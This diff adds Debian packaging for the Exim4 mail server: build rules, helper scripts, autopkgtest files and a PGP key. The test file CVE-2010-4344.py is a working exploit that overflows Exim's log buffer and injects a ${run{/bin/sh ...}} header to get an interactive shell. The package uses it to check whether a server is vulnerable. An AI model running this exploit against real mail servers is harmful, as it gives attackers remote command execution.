+ $(DEBIAN)/eximon4/usr/lib/exim4
+ pod2man --center=EXIM4 --section=8 \
+ $(DEBIAN)/exim4-base/usr/sbin/exipick \
+ $(DEBIAN)/exim4-base/usr/share/man/man8/exipick.8
+ pod2man --center=EXIM4 --section=8 \
+ $(DEBIAN)/exim4-base/usr/sbin/eximstats \
+ $(DEBIAN)/exim4-base/usr/share/man/man8/eximstats.8
+ install -m755 $(DEBIAN)/syslog2eximlog $(DEBIAN)/exim4-base/usr/sbin/
+ pod2man --center=EXIM4 --section=8 \
+ $(DEBIAN)/syslog2eximlog \
+ $(DEBIAN)/exim4-base/usr/share/man/man8/syslog2eximlog.8
+ for i in b-exim4-daemon-*/build-$(buildname)/exim ; do \
+ install -m4755 -oroot -groot $$i \
+ $(DEBIAN)/`echo $$i | sed -e 's/^b-//' -e 's_/.*__'`/usr/sbin/exim4 ; \
+ done
+
+override_dh_auto_install-indep: debian/README.Debian
+ # if you change anything here, you will have to change
+ # config-custom/debian/rules as well
+ sed -e \
+ "s/^UPEX4C_version=\"\"/UPEX4C_version=\"$(DEB_VERSION)\"/" \
+ < $(DEBIAN)/debconf/update-exim4.conf \
+ > $(DEBIAN)/exim4-config/usr/sbin/update-exim4.conf
+ chmod 755 $(DEBIAN)/exim4-config/usr/sbin/update-exim4.conf
+ install -m 755 $(DEBIAN)/update-exim4defaults \
+ $(DEBIAN)/exim4-config/usr/sbin
+
+ cd $(DEBIAN)/debconf/conf.d && \
+ tar cf - `find \( -path '*/.svn/*' -prune \) -or \
+ \( -type f -print \)` | \
+ { cd $(DEBIAN)/exim4-config/etc/exim4/conf.d/ && \
+ tar xf - ; }
+
+ install -m644 $(DEBIAN)/email-addresses $(DEBIAN)/exim4-config/etc/
+ install -m640 -oroot -groot $(DEBIAN)/passwd.client \
+ $(DEBIAN)/exim4-config/etc/exim4/
+ chmod 755 $(DEBIAN)/debconf/update-exim4.conf.template
+ env CONFDIR=$(DEBIAN)/debconf \
+ $(DEBIAN)/debconf/update-exim4.conf.template --nobackup --run
+
+# only called manually by maintainer before upload.
+update-mtaconflicts:
+ which grep-aptavail > /dev/null && \
+ grep-aptavail --show-field=Package --field=Provides \
+ mail-transport-agent --no-field-names \
+ | grep -v exim | sort -u | \
+ tr '\n' ',' | sed -e 's/,/, /g;s/, $$//' > $(DEBIAN)/mtalist
+
+# Generate README.Debian as text/html ...
+debian/README.Debian.html: debian/README.Debian.xml
+ xsltproc --nonet --stringparam section.autolabel 1 \
+ -o $@ \
+ /usr/share/xml/docbook/stylesheet/nwalsh/html/docbook.xsl \
+ $<
+# ... and text/plain
+debian/README.Debian: debian/README.Debian.html
+ chmod 755 $(DEBIAN)/lynx-dump-postprocess
+ lynx -force_html -dump $< | $(DEBIAN)/lynx-dump-postprocess > $@.tmp
+ mv $@.tmp $@
+
+override_dh_auto_test:
+ifeq (,$(filter nocheck,$(DEB_BUILD_OPTIONS)))
+ # it is not possible to run exim unless the compile-time specified
+ # user exists.
+ if id -u Debian-exim ; then \
+ echo Debian-exim user found, running minimal testsuite ; \
+ chmod +x debian/minimaltest ; \
+ rm -rf $(CURDIR)/test ; \
+ for i in b-exim4-daemon*/build-$(buildname)/exim ;\
+ do mkdir $(CURDIR)/test && \
+ debian/minimaltest $(CURDIR)/test $$i || \
+ { echo testsuite error ; exit 1 ; } ; \
+ rm -rf $(CURDIR)/test ; \
+ done \
+ fi
+endif
+
+override_dh_auto_clean:
+ debconf-updatepo
+
+ -rm -rf build-* doc/tmp test/ b-exim*
+ -rm -f EDITME.* unpack-configs-stamp bdir-stamp
+ -rm -f $(DEBIAN)/debconf/exim4.conf.template $(DEBIAN)/files \
+ $(DEBIAN)/README.Debian $(DEBIAN)/README.Debian.html \
+ $(DEBIAN)/berkeleydb.sed
+
+ #these are identical for all daemon-* and therefore symlinked
+ @cd $(DEBIAN) && find . -maxdepth 1 \
+ -regex '^\./exim4-daemon-.*\.\(postinst\|prerm\)$$' \
+ -and -not -name 'exim4-daemon-light.*' -delete
+ #pwd
+ chmod 755 $(DEBIAN)/exim-gencert \
+ $(DEBIAN)/lynx-dump-postprocess $(DEBIAN)/script \
+ $(DEBIAN)/exim-adduser $(DEBIAN)/exim4_refresh_gnutls-params
+
+override_dh_installchangelogs:
+ dh_installchangelogs -pexim4-base doc/ChangeLog
+ dh_installchangelogs --no-package=exim4-base \
+ -XCHANGES -Xdoc/ChangeLog
+
+override_dh_installppp:
+ dh_installppp --name=exim4
+
+override_dh_fixperms:
+ dh_fixperms -X/etc/exim4/passwd.client -Xusr/sbin/exim4
+
+override_dh_gencontrol:
+ dh_gencontrol -- \
+ -VUpstream-Version=$(DEB_VERSION_EPOCH_UPSTREAM) \
+ -VMTA-Conflicts="$(shell cat $(DEBIAN)/mtalist)" \
+ -Vdist:Provides:exim4-daemon-light="$(PROVIDE_DEFAULT_MTA)"
+
+override_dh_installlogrotate:
+ dh_installlogrotate
+ dh_installlogrotate --name=exim4-paniclog
+
+override_dh_installinit:
+ dh_installinit --noscripts --name=exim4
+
+override_dh_install:
+ # install config.h from daemon package, but not from exim4-daemon-light
+ dh_install -p exim4-dev \
+ $(shell ls -1 b-exim4-daemon-*/build-$(buildname)/config.h | grep -v ^b-exim4-daemon-light/) \
+ usr/include/exim4
+ dh_install
+
+override_dh_link:
+ rm -rf debian/exim4/usr/share/doc/exim4
+ dh_link
+
+%:
+ dh $@ --no-parallel
+
+.PHONY: pack-configs unpack-configs update-mtaconflicts
diff --git a/debian/script b/debian/script
new file mode 100755
index 0000000..bc0ef5c
--- /dev/null
+++ b/debian/script
@@ -0,0 +1,28 @@
+#!/bin/bash
+# install as /usr/share/bug/$package/script or /usr/share/bug/$package
+
+UE4CC="/etc/exim4/update-exim4.conf.conf"
+REDIR=">&3"
+if [ "$OUTPUT" = "all" ]; then
+ REDIR=""
+fi
+
+if test -x /usr/sbin/exim4 ; then
+ eval /usr/sbin/exim4 -bV $REDIR
+fi
+if [ "$OUTPUT" != "all" ]; then
+ yesno "Include extended configuration information?" "yep"
+ if [ "$REPLY" != "yep" ] ;then
+ exit 0
+ fi
+fi
+if test -r $UE4CC ; then
+ eval cat $UE4CC $REDIR
+fi
+if test -r /etc/mailname ; then
+ eval echo -n 'mailname:' $REDIR
+ eval cat /etc/mailname $REDIR
+fi
+if test -r /etc/default/exim4 ; then
+ eval cat /etc/default/exim4 $REDIR
+fi
diff --git a/debian/source/format b/debian/source/format
new file mode 100644
index 0000000..163aaf8
--- /dev/null
+++ b/debian/source/format
@@ -0,0 +1 @@
+3.0 (quilt)
diff --git a/debian/syslog2eximlog b/debian/syslog2eximlog
new file mode 100755
index 0000000..edf974b
--- /dev/null
+++ b/debian/syslog2eximlog
@@ -0,0 +1,60 @@
+#!/usr/bin/perl -w
+#
+# Copyright (c) 2003 Martin A. Godisch for Debian GNU/Linux, GPL
+
+=head1 NAME
+
+syslog2eximlog - make syslog output suitable for eximstats
+
+=head1 SYNOPSIS
+
+B<syslog2eximlog> B<<> I<mail.log> B<|> B<eximstats>
+
+=head1 DESCRIPTION
+
+syslog2eximlog converts logfiles produced by syslog when using
+B<log_file_path = syslog> in your I<exim.conf> back to exim
+logfile format, suitable for B<eximstats>. B<syslog_timestamp>
+may be B<true> or B<false>.
+
+The program always succeeds, invalid lines will be ignored.
+
+=head1 BUGS
+
+Please report any bugs directly to the author.
+
+=head1 AUTHOR
+
+Martin A. Godisch <godisch@debian.org> for Debian GNU/Linux.
+
+=head1 SEE ALSO
+
+B<eximstats>(8)
+
+=cut
+
+my @date = localtime(time);
+$date[4] += 1;
+$date[5] += 1900;
+my %names = (
+ "Jan", "01", "Feb", "02", "Mar", "03", "Apr", "04",
+ "May", "05", "Jun", "06", "Jul", "07", "Aug", "08",
+ "Sep", "09", "Oct", "10", "Nov", "11", "Dec", "12"
+);
+
+while (<>) {
+ next unless (s/^(\w{3})\s([\s\d]\d)\s(\d\d):(\d\d):(\d\d)\s\S+\sexim\[\d+\]:\s//);
+
+ my ($month, $day, $hour, $min, $sec) = ($names{$1}, $2, $3, $4, $5);
+
+ if (/^\d{4}-\d\d-\d\d\s\d\d:\d\d:\d\d\s/) {
+ print $_;
+ } else {
+ printf "%04d-%02d-%02d %02d:%02d:%02d %s",
+ # assume current year if month/day <= today, otherwise assume last year
+ $month > $date[4] || $month == $date[4] && $day > $date[3] ? $date[5] - 1 : $date[5],
+ $month, $day, $hour, $min, $sec, $_;
+ }
+}
+
+exit 0;
diff --git a/debian/tests/CVE-2010-4344.py b/debian/tests/CVE-2010-4344.py
new file mode 100644
index 0000000..1158326
--- /dev/null
+++ b/debian/tests/CVE-2010-4344.py
@@ -0,0 +1,143 @@
+#!/usr/bin/env python
+# Copyright 2010, Canonical, Ltd.
+# Author: Kees Cook <kees@ubuntu.com>
+# License: GPLv2
+
+import socket, sys
+
+HOST = sys.argv[1]
+PORT = 25
+
+try:
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+except socket.error, msg:
+ sys.stderr.write("[ERROR] %s\n" % msg[1])
+ sys.exit(1)
+
+try:
+ sock.settimeout(10)
+ sock.connect((HOST, PORT))
+except socket.error, msg:
+ sys.stderr.write("[ERROR] %s\n" % msg[1])
+ sys.exit(2)
+
+def want(value, cmd=None):
+ if cmd != None:
+ sys.stdout.write("%s\n" % (cmd))
+ sock.send("%s\n" % (cmd))
+ data = sock.recv(1024)
+ sys.stdout.write(data)
+ final = data.splitlines().pop()
+ if not final.startswith('%d ' % (value)):
+ sys.stdout.write("*** Got '%s', wanted '%d' ***\n" % (final, value))
+ sys.exit(5)
+ return data
+
+mail_from = '<root@localhost>'
+rcpt_to = '<postmaster@localhost>'
+helo = 'example.com'
+
+want(220)
+data = want(250, "EHLO %s" % (helo))
+ident = data.splitlines()[0].split()
+# Extract DNS details from helo response
+sending_host = '%s (%s) %s' % (ident[2], helo, ident[3])
+
+want(250, "MAIL FROM:%s" % (mail_from))
+want(250, "RCPT TO:%s" % (rcpt_to))
+want(354, "DATA")
+
+# want to fill up to LOG_BUFFER_SIZE - 3 (%c %s) == 8192 - 3 == 8189
+# and minus the logging header...
+target = 8189
+sent = len('''2010-12-10 11:48:15 1PR8wt-00063W-Sb rejected from %s H=%s: message too big: read=72108293 max=52428800
+Envelope-from: %s
+Envelope-to: %s
+''' % (mail_from, sending_host, mail_from, rcpt_to))
+send = target - sent
+count = 0
+padding = 3 # because of logging's " " prefix and "\n" suffix
+taunt = 'M4iLB0mb'
+header = 'MAILbombhdr%04d: '
+chunksize = len(header) + 120
+amount = send
+while amount > chunksize:
+ prev = amount
+ amount /= 2
+chunksize = prev
+chunksize = 100
+#print "Chunk size: %d" % (chunksize)
+
+#print "hit enter to continue"
+#sys.stdin.readline()
+
+while send > 0:
+ count += 1
+ #print "At position %d (%d to go)" % (sent, send)
+ data = header % (count)
+ perline = chunksize - padding
+ data += taunt * chunksize
+
+ # Down-regulate
+ togo = send - padding
+ if togo > perline:
+ togo = perline
+ # Fill hole for easier forward calculations
+ left = sent % 100
+ if left != 0:
+ left = 100 - left
+ if left < len(header) + (padding * 2):
+ left += 100
+ togo = left - padding
+ data = data[0:togo]
+
+ sock.send('%s\n' % (data))
+ send -= len(data) + padding
+ sent += len(data) + padding
+ #print "(header %d) Wrote %d, consumed %d, at position %d (%d to go)" % (count, len(data), len(data) + padding, sent, send)
+
+# This header will expand past the logging buffer
+sys.stdout.write("Sending exploit header\n")
+sock.send('HeaderX: ')
+for j in range(50):
+ for i in range(3, 13):
+ sock.send("${run{/bin/sh -c 'exec /bin/sh -i <&%d >&0 2>&0'}}" % i)
+sock.send("\n");
+
+# Now trigger the "message too large" handler
+sys.stdout.write("Sending body to trigger reject\n")
+sock.send("\n");
+for i in range(700000):
+ sock.send(taunt * 10 + "\n")
+sock.send(".\n")
+
+want(552)
+sock.settimeout(1)
+trigger = "MAIL FROM:%s\n" % (mail_from)
+sys.stdout.write(trigger)
+sock.send(trigger)
+
+final = ""
+shell = False
+hit = False
+while True:
+ try:
+ data = sock.recv(1024)
+ except:
+ break
+ sys.stdout.write(data)
+ sys.stdout.flush()
+ final += data
+ if '/bin/sh' in final:
+ shell = True
+ if shell and not hit:
+ sock.send("uname -a\n")
+ sock.send("id\n")
+ hit = True
+
+sock.close()
+if shell:
+ print "\nSystem is vulnerable"
+ sys.exit(1)
+print "\nSystem appears safe"
+sys.exit(0)
diff --git a/debian/tests/control b/debian/tests/control
new file mode 100644
index 0000000..0e64126
--- /dev/null
+++ b/debian/tests/control
@@ -0,0 +1,3 @@
+Tests: daemon security
+Depends: exim4, python
+Restrictions: needs-root
diff --git a/debian/tests/daemon b/debian/tests/daemon
new file mode 100644
index 0000000..173d90f
--- /dev/null
+++ b/debian/tests/daemon
@@ -0,0 +1,13 @@
+#!/bin/sh
+#--------------
+# Testing exim4
+#--------------
+set -e
+DAEMON=exim4
+
+if pidof -x $DAEMON > /dev/null; then
+ echo "OK"
+else
+ echo "ERROR: ${DAEMON} IS NOT RUNNING"
+ exit 1
+fi
diff --git a/debian/tests/security b/debian/tests/security
new file mode 100644
index 0000000..26aba86
--- /dev/null
+++ b/debian/tests/security
@@ -0,0 +1,6 @@
+#!/bin/sh
+#----------------------
+# Testing exim security
+#----------------------
+set -e
+python `dirname $0`/CVE-2010-4344.py localhost 2>&1
diff --git a/debian/update-exim4defaults b/debian/update-exim4defaults
new file mode 100644
index 0000000..06915e7
--- /dev/null
+++ b/debian/update-exim4defaults
@@ -0,0 +1,284 @@
+#!/bin/sh
+# update-exim4defaults(8): manage entries in /etc/default/exim4
+# per script
+
+if [ -n "$EX4DEBUG" ]; then
+ echo "now debugging $0 $@"
+ set -x
+fi
+
+unset LC_ALL
+export LC_CTYPE=C
+
+defaultfile=/etc/default/exim4
+
+EX4DEF_INIT=false
+EX4DEF_FORCE=false
+
+
+if [ -r ${defaultfile} ]; then
+ . ${defaultfile}
+fi
+
+
+# initialize variables
+EX4DEF_QUEUERUNNER="${QUEUERUNNER}"
+EX4DEF_QUEUEINTERVAL="${QUEUEINTERVAL}"
+EX4DEF_COMMONOPTIONS="${COMMONOPTIONS}"
+EX4DEF_QUEUERUNNEROPTIONS="${QUEUERUNNEROPTIONS}"
+EX4DEF_QFLAGS="${QFLAGS}"
+EX4DEF_SMTPLISTENEROPTIONS="${SMTPLISTENEROPTIONS}"
+
+EX4DEF_FLAGOPTIONS=false
+EX4DEF_FLAGREMOVE=false
+
+ex4def_usage ()
+{
+ echo "update-exim4defaults: manage entries in /etc/default/exim4"
+ echo " usage: update-exim4defaults [[--queuerunner combined|separate|queueonly|ppp|no|nodaemon]"
+ echo " [--qflags flags ] [--queuetime time] [--commonoptions options]"
+ echo " [--queuerunneroptions options] [--smtplisteneroptions options]]"
+ echo " [--remove-common options] [--remove-queue options]"
+ echo " [--remove-smtp options]"
+ echo " [--force|-f] [--help|-h]"
+ echo " [--init]"
+}
+
+
+# used for initialzing and with --force.
+ex4def_write(){
+ EX4DEF_TMP="$(tempfile -m 600 -p ex4)"
+ cat << EOF > "${EX4DEF_TMP}"
+# /etc/default/exim4
+EX4DEF_VERSION='${EX4DEF_VERSION}'
+
+# 'combined' - one daemon running queue and listening on SMTP port
+# 'no' - no daemon running the queue
+# 'separate' - two separate daemons
+# 'ppp' - only run queue with /etc/ppp/ip-up.d/exim4.
+# 'nodaemon' - no daemon is started at all.
+# 'queueonly' - only a queue running daemon is started, no SMTP listener.
+# setting this to 'no' will also disable queueruns from /etc/ppp/ip-up.d/exim4
+QUEUERUNNER='${EX4DEF_QUEUERUNNER}'
+# how often should we run the queue
+QUEUEINTERVAL='${EX4DEF_QUEUEINTERVAL}'
+# options common to quez-runner and listening daemon
+COMMONOPTIONS='${EX4DEF_COMMONOPTIONS}'
+# more options for the daemon/process running the queue (applies to the one
+# started in /etc/ppp/ip-up.d/exim4, too.
+QUEUERUNNEROPTIONS='${EX4DEF_QUEUERUNNEROPTIONS}'
+# special flags given to exim directly after the -q. See exim(8)
+QFLAGS='${EX4DEF_QFLAGS}'
+# Options for the SMTP listener daemon. By default, it is listening on
+# port 25 only. To listen on more ports, it is recommended to use
+# -oX 25:587:10025 -oP /run/exim4/exim.pid
+SMTPLISTENEROPTIONS='${EX4DEF_SMTPLISTENEROPTIONS}'
+EOF
+ cat "${EX4DEF_TMP}" > "${defaultfile}"
+ rm -f "${EX4DEF_TMP}"
+}
+
+## Parse commandline
+TEMP=$(getopt -n update-exim4defaults \
+ -l qflags:,queuerunner:,queuetime:,commonoptions:,queuerunneroptions:,smtplisteneroptions:,remove-common:,remove-queue:,remove-smtp:,force,help,init -- \
+ +fh "$@")
+
+if test "$?" != 0; then
+ echo "Terminating..." >&2
+ exit 1
+fi
+
+eval set -- ${TEMP}
+while test "$1" != "--"; do
+ case $1 in
+ -f|--force)
+ EX4DEF_FORCE=true
+ ;;
+ -h|--help)
+ ex4def_usage
+ exit 0
+ ;;
+ --qflags)
+ shift
+ EX4DEF_QFLAGS="$1"
+ ;;
+ --queuerunner)
+ shift
+ EX4DEF_QUEUERUNNER="$1"
+ if ! expr match "${EX4DEF_QUEUERUNNER}" '\(ppp\|no\|combined\|nodaemon\|queueonly\|separate\)$' >/dev/null ; then
+ echo "invalid argument ${EX4DEF_QUEUERUNNER} for --queuerunner" 1>&2
+ exit 1
+ fi
+ ;;
+ --queuetime)
+ shift
+ EX4DEF_QUEUEINTERVAL="$1"
+ ;;
+ --commonoptions)
+ shift
+ EX4DEF_COMMONOPTIONS="$1"
+ EX4DEF_FLAGOPTIONS=true
+ ;;
+ --queuerunneroptions)
+ shift
+ EX4DEF_QUEUERUNNEROPTIONS="$1"
+ EX4DEF_FLAGOPTIONS=true
+ ;;
+ --smtplisteneroptions)
+ shift
+ EX4DEF_SMTPLISTENEROPTIONS="$1"
+ EX4DEF_FLAGOPTIONS=true
+ ;;
+ --remove-common)
+ shift
+ EX4DEF_REMOVECOMMON="$1"
+ EX4DEF_FLAGREMOVE=true
+ ;;
+ --remove-queue)
+ shift
+ EX4DEF_REMOVEQUEUE="$1"
+ EX4DEF_FLAGREMOVE=true
+ ;;
+ --remove-smtp)
+ shift
+ EX4DEF_REMOVESMTP="$1"
+ EX4DEF_FLAGREMOVE=true
+ ;;
+ --init)
+ EX4DEF_INIT=true
+ ;;
+ esac
+ shift
+done
+shift
+
+# No non-option arguments allowed.
+if [ "$#" -ne 0 ]; then
+ echo "No non option arguments allowed" >&2
+ ex4def_usage >&2
+ exit 1
+fi
+
+if [ "${EX4DEF_FLAGREMOVE}" = "true" ] && [ "${EX4DEF_FLAGOPTIONS}" = "true" ] ; then
+ echo "Cannot use --remove-something together with --somethingoptions" >&2
+ ex4def_usage >&2
+ exit 1
+fi
+
+#if [ ! -r ${defaultfile} ]; then
+# echo "Cannot read ${defaultfile}, terminating" >&2
+# exit 1
+#fi
+
+if "${EX4DEF_INIT}" = "true" ] ; then
+ [ -e "${defaultfile}" ] && [ "${EX4DEF_FORCE}" != "true" ] && exit 0
+ # Reset to default values
+ EX4DEF_QUEUERUNNER='combined'
+ EX4DEF_QUEUEINTERVAL='30m'
+ EX4DEF_COMMONOPTIONS=''
+ EX4DEF_QUEUERUNNEROPTIONS=''
+ EX4DEF_QFLAGS=''
+ EX4DEF_SMTPLISTENEROPTIONS=''
+
+ ex4def_write
+ exit 0
+fi
+
+#Try removing
+if [ "${EX4DEF_FLAGREMOVE}" = "true" ] ; then
+ EX4DEF_REMOVEERROR="false"
+ if [ ! -z "${EX4DEF_REMOVECOMMON}" ] ; then
+ EX4DEF_COMMONOPTIONS=$(echo "${COMMONOPTIONS}" | \
+ sed -e "sÄ${EX4DEF_REMOVECOMMON}ÄÄ" -e "s/ / /g" -e 's/^ //' -e 's/ $//')
+ [ "${EX4DEF_COMMONOPTIONS}" = "${COMMONOPTIONS}" ] && \
+ EX4DEF_REMOVEERROR="true"
+ fi
+ if [ ! -z "${EX4DEF_REMOVEQUEUE}" ] ; then
+ EX4DEF_QUEUERUNNEROPTIONS=$(echo "${QUEUERUNNEROPTIONS}" | \
+ sed -e "sÄ${EX4DEF_REMOVEQUEUE}ÄÄ" -e "s/ / /g" -e 's/^ //' -e 's/ $//')
+ [ "${EX4DEF_QUEUERUNNEROPTIONS}" = "${QUEUERUNNEROPTIONS}" ] && \
+ EX4DEF_REMOVEERROR="true"
+ fi
+ if [ ! -z "${EX4DEF_REMOVESMTP}" ] ; then
+ EX4DEF_SMTPLISTENEROPTIONS=$(echo "${SMTPLISTENEROPTIONS}" | \
+ sed -e "sÄ${EX4DEF_REMOVESMTP}ÄÄ" -e "s/ / /g" -e 's/^ //' -e 's/ $//')
+ [ "${EX4DEF_SMTPLISTENEROPTIONS}" = "${SMTPLISTENEROPTIONS}"] && \
+ EX4DEF_REMOVEERROR="true"
+ fi
+ if [ "${EX4DEF_REMOVEERROR}" = "true" ] ; then
+ echo "$0: removing failed, no changes" >&2
+ exit 64
+ fi
+
+ EX4DEF_TMP="$(tempfile -m 600 -p ex4)"
+ sed -e "sÄ^QFLAGS=.*ÄQFLAGS='${EX4DEF_QFLAGS}'Ä" \
+ -e "sÄ^QUEUERUNNER=.*ÄQUEUERUNNER='${EX4DEF_QUEUERUNNER}'Ä" \
+ -e "sÄ^QUEUEINTERVAL=.*ÄQUEUEINTERVAL='${EX4DEF_QUEUEINTERVAL}'Ä" \
+ -e "sÄ^COMMONOPTIONS=.*ÄCOMMONOPTIONS='${EX4DEF_COMMONOPTIONS}'Ä" \
+ -e "sÄ^QUEUERUNNEROPTIONS=.*ÄQUEUERUNNEROPTIONS='${EX4DEF_QUEUERUNNEROPTIONS}'Ä" \
+ -e "sÄ^SMTPLISTENEROPTIONS=.*ÄSMTPLISTENEROPTIONS='${EX4DEF_SMTPLISTENEROPTIONS}'Ä" \
+ < $defaultfile > "${EX4DEF_TMP}"
+ mv "${EX4DEF_TMP}" $defaultfile
+ rm -f "${EX4DEF_TMP}"
+ exit 0
+fi
+
+if [ "${EX4DEF_FORCE}" = "true" ] ; then
+ ex4def_write
+ exit 0
+
+else
+ EX4DEF_DOANYTHING=0
+ EX4DEF_NOTALLOWED=0
+ if [ "${QUEUERUNNER}" != "${EX4DEF_QUEUERUNNER}" ]; then
+ EX4DEF_DOANYTHING=$((${EX4DEF_DOANYTHING}+1))
+ # switching the QUEUERUNNER modus is always allowed
+ #[ -z "${QUEUERUNNER}" ] || EX4DEF_NOTALLOWED=$((${EX4DEF_NOTALLOWED}+1))
+ fi
+ if [ "${QUEUEINTERVAL}" != "${EX4DEF_QUEUEINTERVAL}" ] ; then
+ EX4DEF_DOANYTHING=$((${EX4DEF_DOANYTHING}+2))
+ [ -z "${QUEUEINTERVAL}" ] || \
+ EX4DEF_NOTALLOWED=$((${EX4DEF_NOTALLOWED}+2))
+ fi
+ if [ "${COMMONOPTIONS}" != "${EX4DEF_COMMONOPTIONS}" ] ; then
+ EX4DEF_DOANYTHING=$((${EX4DEF_DOANYTHING}+4))
+ [ -z "${COMMONOPTIONS}" ] || \
+ EX4DEF_NOTALLOWED=$((${EX4DEF_NOTALLOWED}+4))
+ fi
+ if [ "${QUEUERUNNEROPTIONS}" != "${EX4DEF_QUEUERUNNEROPTIONS}" ] ; then
+ EX4DEF_DOANYTHING=$((${EX4DEF_DOANYTHING}+8))
+ [ -z "${QUEUERUNNEROPTIONS}" ] || \
+ EX4DEF_NOTALLOWED=$((${EX4DEF_NOTALLOWED}+8))
+ fi
+ if [ "${SMTPLISTENEROPTIONS}" != "${EX4DEF_SMTPLISTENEROPTIONS}" ] ; then
+ EX4DEF_DOANYTHING=$((${EX4DEF_DOANYTHING}+16))
+ [ -z "${SMTPLISTENEROPTIONS}" ] || \
+ EX4DEF_NOTALLOWED=$((${EX4DEF_NOTALLOWED}+16))
+ fi
+ if [ "${QFLAGS}" != "${EX4DEF_QFLAGS}" ] ; then
+ EX4DEF_DOANYTHING=$((${EX4DEF_DOANYTHING}+32))
+ [ -z "${QFLAGS}" ] || \
+ EX4DEF_NOTALLOWED=$((${EX4DEF_NOTALLOWED}+32))
+ fi
+
+ [ ${EX4DEF_DOANYTHING} -eq 0 ] && exit 0
+ if [ ${EX4DEF_NOTALLOWED} -ne 0 ] ; then
+ echo "setting(s) conflict with current one, terminating" >&2
+ exit ${EX4DEF_NOTALLOWED}
+ fi
+
+ EX4DEF_TMP="$(tempfile -m 600 -p ex4)"
+ sed -e "sÄ^QFLAGS=.*ÄQFLAGS='${EX4DEF_QFLAGS}'Ä" \
+ -e "sÄ^QUEUERUNNER=.*ÄQUEUERUNNER='${EX4DEF_QUEUERUNNER}'Ä" \
+ -e "sÄ^QUEUEINTERVAL=.*ÄQUEUEINTERVAL='${EX4DEF_QUEUEINTERVAL}'Ä" \
+ -e "sÄ^COMMONOPTIONS=.*ÄCOMMONOPTIONS='${EX4DEF_COMMONOPTIONS}'Ä" \
+ -e "sÄ^QUEUERUNNEROPTIONS=.*ÄQUEUERUNNEROPTIONS='${EX4DEF_QUEUERUNNEROPTIONS}'Ä" \
+ -e "sÄ^SMTPLISTENEROPTIONS=.*ÄSMTPLISTENEROPTIONS='${EX4DEF_SMTPLISTENEROPTIONS}'Ä" \
+ < $defaultfile > "${EX4DEF_TMP}"
+ mv "${EX4DEF_TMP}" $defaultfile
+ rm -f "${EX4DEF_TMP}"
+ exit 0
+fi
+
+
+
diff --git a/debian/upstream/signing-key.asc b/debian/upstream/signing-key.asc
new file mode 100644
index 0000000..3e9ac90
--- /dev/null
+++ b/debian/upstream/signing-key.asc
@@ -0,0 +1,838 @@
+-----BEGIN PGP PUBLIC KEY BLOCK-----
+
+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
